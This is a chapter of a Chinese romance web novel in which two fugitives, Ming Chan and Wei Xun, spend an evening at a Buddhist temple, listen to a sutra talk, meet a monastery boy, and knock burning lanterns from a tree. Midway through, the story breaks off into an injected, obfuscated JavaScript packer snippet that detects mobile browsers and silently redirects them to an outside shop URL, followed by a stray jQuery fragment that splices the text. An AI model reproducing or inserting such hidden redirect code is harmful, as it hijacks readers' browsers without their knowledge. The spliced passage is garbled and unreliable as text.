25. 25

作品:《循环,但从抢婚开始

    25第二十五日


    “多谢师父。”


    最后一盏灯放上神台,台面清明,台下烛影幢幢。


    师父回敬一礼,自去料理其他人。


    “这盏灯,真的能长明吗?”魏循突发疑惑。


    “你不看它就一直亮着,主要是心诚则灵,你不觉得供完之后更安心了吗?”明婵颇不认同。


    “哦,那照你这么说,这明的是你我的心,与他者并无关系了?”


    “?”明婵被他问绕了。


    “哈哈,”身后恰时有人接话,“所见诸佛,皆由自心,女檀越所言甚是在理。”


    来人正是方才归寺的无咎师父。


    明婵得了肯定,朝魏循挑了挑眉,他无奈摇头。


    没想到无咎师父又道:“但这位檀越所言也不错,万事万物本就独生独死,独去独来,万法求诸于己,亦是长明。”


    魏循看了一眼身后的灯:“既然如此,那整日求这求那费心供奉,岂不是多此一举?真要长明长安,求自己就好了。”


    “哈哈,这是因为世人多有执念,不能轻易参透本心,所以才热衷于以外物破无明,”师父从善回答,“众生本就各自有万般闲事挂心,放不下心中悲喜已是自苦,有人觉得从善而行苦上加苦,自然也有人从欲而行苦中作乐。”


    “对对对,既是求个心愿也是求个心安嘛。”明婵根本没认真听,只怕魏循又胡言乱语,想要赶紧结束。


    魏循不语,似还有疑惑。


    无咎师父慧眼如炬:“檀越如此执着于长明,又何尝不是一种无明呢?”


    魏循微微一愣,抬手行礼:“受教了。”


    师父道了一句佛号,自去上台。


    明婵松了口气。


    她有点想静静,在殿内找了个角落坐下。


    魏循也跟过来,对殿内听经的众人有些好奇:“这些人什么时候来的?在这儿坐了一天吗?那位大师好像是来讲经的,讲什么经?”


    “静一静。”


    “嗯?没听说过。”


    “我说你,静一静。”


    明婵受不了他的聒噪,胡乱找了个心不诚佛祖怪罪的理由,交代他听经的时候要认真,不要讲小话,更不要像现在这样拉拉扯扯。


    他看了眼其他叽叽喳喳的香客,明显有点不理解,但在她的再三敷衍下,还是松开勾在她袖上的手,正色打起了坐。


    台上已经开始讲经。


    这位师父似乎很擅长讲通俗易懂的经,上午在戏场的俗讲就韵律优美朗朗上口,如今讲的也不是什么晦涩难懂的佛祖啊功德,而是说的养生经。


    “……岁时纯阳既备,微阴未萌,正是精气充实的时候。”


    “随着年龄的增长,阳气会快速逸散,尤其不知禁忌贪恋无已者,不等及至六十四岁阳气便耗散殆尽,复返于坤。”


    “所谓一阴初生,去本未远,二阴浸长,阳德渐消……若勤加修炼重铸丹基,则危者可安,亡者可保……”


    初时明婵还认真听了一会儿,但殿里阴凉又到处都是灯油香灰味,很快就昏昏欲睡。


    魏循一直留意着她的动静,她眼皮子刚开始打架时就想开口,但被她突如其来的睁眼吓回去。


    后来见她不过是强撑,压着嘴角忍了片刻,悄悄凑过来,伸出右手虚环在她身后。


    如此反复几次,明婵终于撑不住,埋头彻底睡死。


    下一瞬整个人失重倾倒,往前栽过去。


    幸得被一只手环腰捞住,老老实实顺势靠向身后,埋入一片温热的胸膛。


    明婵恍然做了一个梦。


    她在梦里长长睡了一觉,就睡在家中柔软舒适的床榻上,外头秋风瑟瑟下着小雨,而被子里却暖意融融。


    没有比这更惬意的时刻了。


    就是床榻一会儿软一会儿硬的,睡得不踏实,等这一觉睡醒她定要再加几床褥子。


    “褥子……”


    “阿婵?阿婵?”


    隐约听见有人叫她。


    明婵不情不愿睁眼,迷迷糊糊看见一片夕阳,还有一张陌生男人的脸。


    她眨了眨,神思收拢之前先感受到掌心底下的温热弹润,像刚出炉的糕点。下意识捏了捏,那处竟然顷刻绷紧,变得滚烫又硌手。


    眼前男人的脸也肉眼可见染上几分霞色。


    “阿婵!”


    魏循咬牙将人从自己胸上撕开,“此间还在外头,你……”


    他含恨咽回去,眼神怪异。


    明婵后知后觉自己刚才摸的究竟是什么,脑子瞬间爆热,盖住自己的脸。


    “我什么都没干,我不是故意的!我……呜呜,对不起,我睡着了你怎么都不提醒我!”怎么会有人睡着睡着就变成登徒子啊,她压根不想承认。


    静默良久,她听见一声轻笑。


    明婵悄悄张开手指,魏循竟然并无半点生气,他甚至还在笑。


    明婵明白过来自己有些反应过度,也不敢追问他在笑什么,佯装生气瞪了他一眼。环顾四周殿里的法会已经结束,只剩寥寥几个人。


    “我竟然睡了这么久?”明明还在逃命途中,她到底怎么睡得着啊?


    “你身子重,嗜睡也是应该的。”


    “……”如鲠在喉。


    “醒了就起吧,肚子饿不饿?”他活动过肩膀,带着她起身。


    “饿倒不是很饿,但也能吃。”腿都坐麻了,魏循迁就她走得很慢。


    “我给你按按?”


    “别,我嘶……睡觉的时候有没有人找过来?”


    “没有,有的话我早带你走了。”


    “那就好。”说明这里暂时还算安全。“咱们再等等,若天黑了依旧没事,咱们在寺里住一晚也没关系,天亮了再看看能不能出城。”


    只要天能亮,住哪儿都行。


    两人边说边往外走。


    院里起了一阵凉风,树影沙沙。


    香客已经不剩多少,多在外面沿河的栈道和码头上等着放焰口和水灯。


    一个小童从侧院小门跑出来,没料到树影之后还有两个人,惊呼一声止不住直接扑过来。


    魏循眼疾手快捞起明婵换了个边,在小童扑摔之前及时按住他脑门。人站住,只飞出一只藤球。


    魏循收回手忍不住合了合掌心。


    “嘶,你小子,吃什么长的这么大力气?差点把我闺女撞没咯。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617921|186454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “?”明婵以为自己听错了。


    “对不起,”小童闷闷道歉,“我不是故意的,是无咎师父叫我早些回去……”


    魏循转头问明婵:“可有磕碰?”


    明婵摇头,避开他过于热忱的眼神,和小童说话:“刘无……你撞哪儿没有?”


    小童直说自己没事。


    明婵拍了拍他的脑袋,让他回去小心些。


    小童捡回自己的球并未离开,他又挪到明婵面前,从裤兜里掏出一块油纸包好的小方块。


    “给我的?”明婵不确定。


    “嗯。”


    “是糖吗?”


    “梨膏糖,刚才对不起,我得了师父嘉奖太高兴了。”小童点头。


    明婵笑着推回去:“既然是师父嘉奖你的,那你好好吃,我没事。”


    “不是师父,是施主。”他囫囵回了一句,小心收回来,“你真不要?这个很好吃哦!”


    明婵再次婉拒,说自己正要去用斋饭,不好吃这些。


    三人一同离开,到了院外明婵邀请刘无疾:“你吃晚饭了吗?要不要和我们一起?”


    刘无疾有些意外:“我正要去吃呢,我们食堂的菜可比素斋好吃多……不是,我是说多谢阿姊,我还有事就先走了。”


    这孩子心直口快明婵是领教过的,含笑目送他离开。


    “你认识他?”


    魏循好奇。


    明婵瞬间收敛,正要说话被一声惊呼打断,是从不远处的露台方向传过来的。


    那头站了不少人,都在准备放祈愿灯,天上还没飘几盏,露台边的一棵树上就挂了俩。


    有小和尚拿着扫把就冲过去灭火,但苦于高度不够不得其法,便叫人赶紧来帮忙。


    那灯挂得很高,爬上去估计够呛。


    明婵左右看看,找到两块石头,又随手扯下一块挂在墙头的帆布,团吧团吧团成两颗圆球,拉扯魏循过来。


    “你来。”


    “嗯?”


    他没懂。


    “树上的灯,踢下来。”她指了指。


    “踢灯?我吗?”他还不敢信。


    “少装,我要不是力气不够就自己上了,来吧。”她拍拍手,退后两步。


    魏循赶鸭子上架,半是疑惑半是好笑:“我连会蹴鞠也告诉过你了?”


    “何止啊,咱俩都踢过多少回了。”


    魏循脸上有片刻茫然,脚下却不含糊,对准树梢将要燃起来的天灯接连踢出两脚。


    火舌旋即坠落。


    “厉害!好球!”


    明婵大赞,“得了空真想和你来两场,你看起来可比明喜他们难捶多了。”虽然上次见过他的准头,但再见还是觉得赏心悦目。


    “我就当你……在夸我?”他无奈,并未发觉她话中前后矛盾之处。


    “当然在夸你!走,去吃饭。”


    随着两人转身离开,远处看热闹的刘无疾也收回视线,他抱紧怀里的球,边走边点头:“确实厉害,像流星锤一样厉害。”


    顿了顿,他又挠头:“哎?流星锤是什么?”


    最后一缕霞光从天际消失,河中的游船上人声鼎沸,燃起一簇簇耀眼的火光。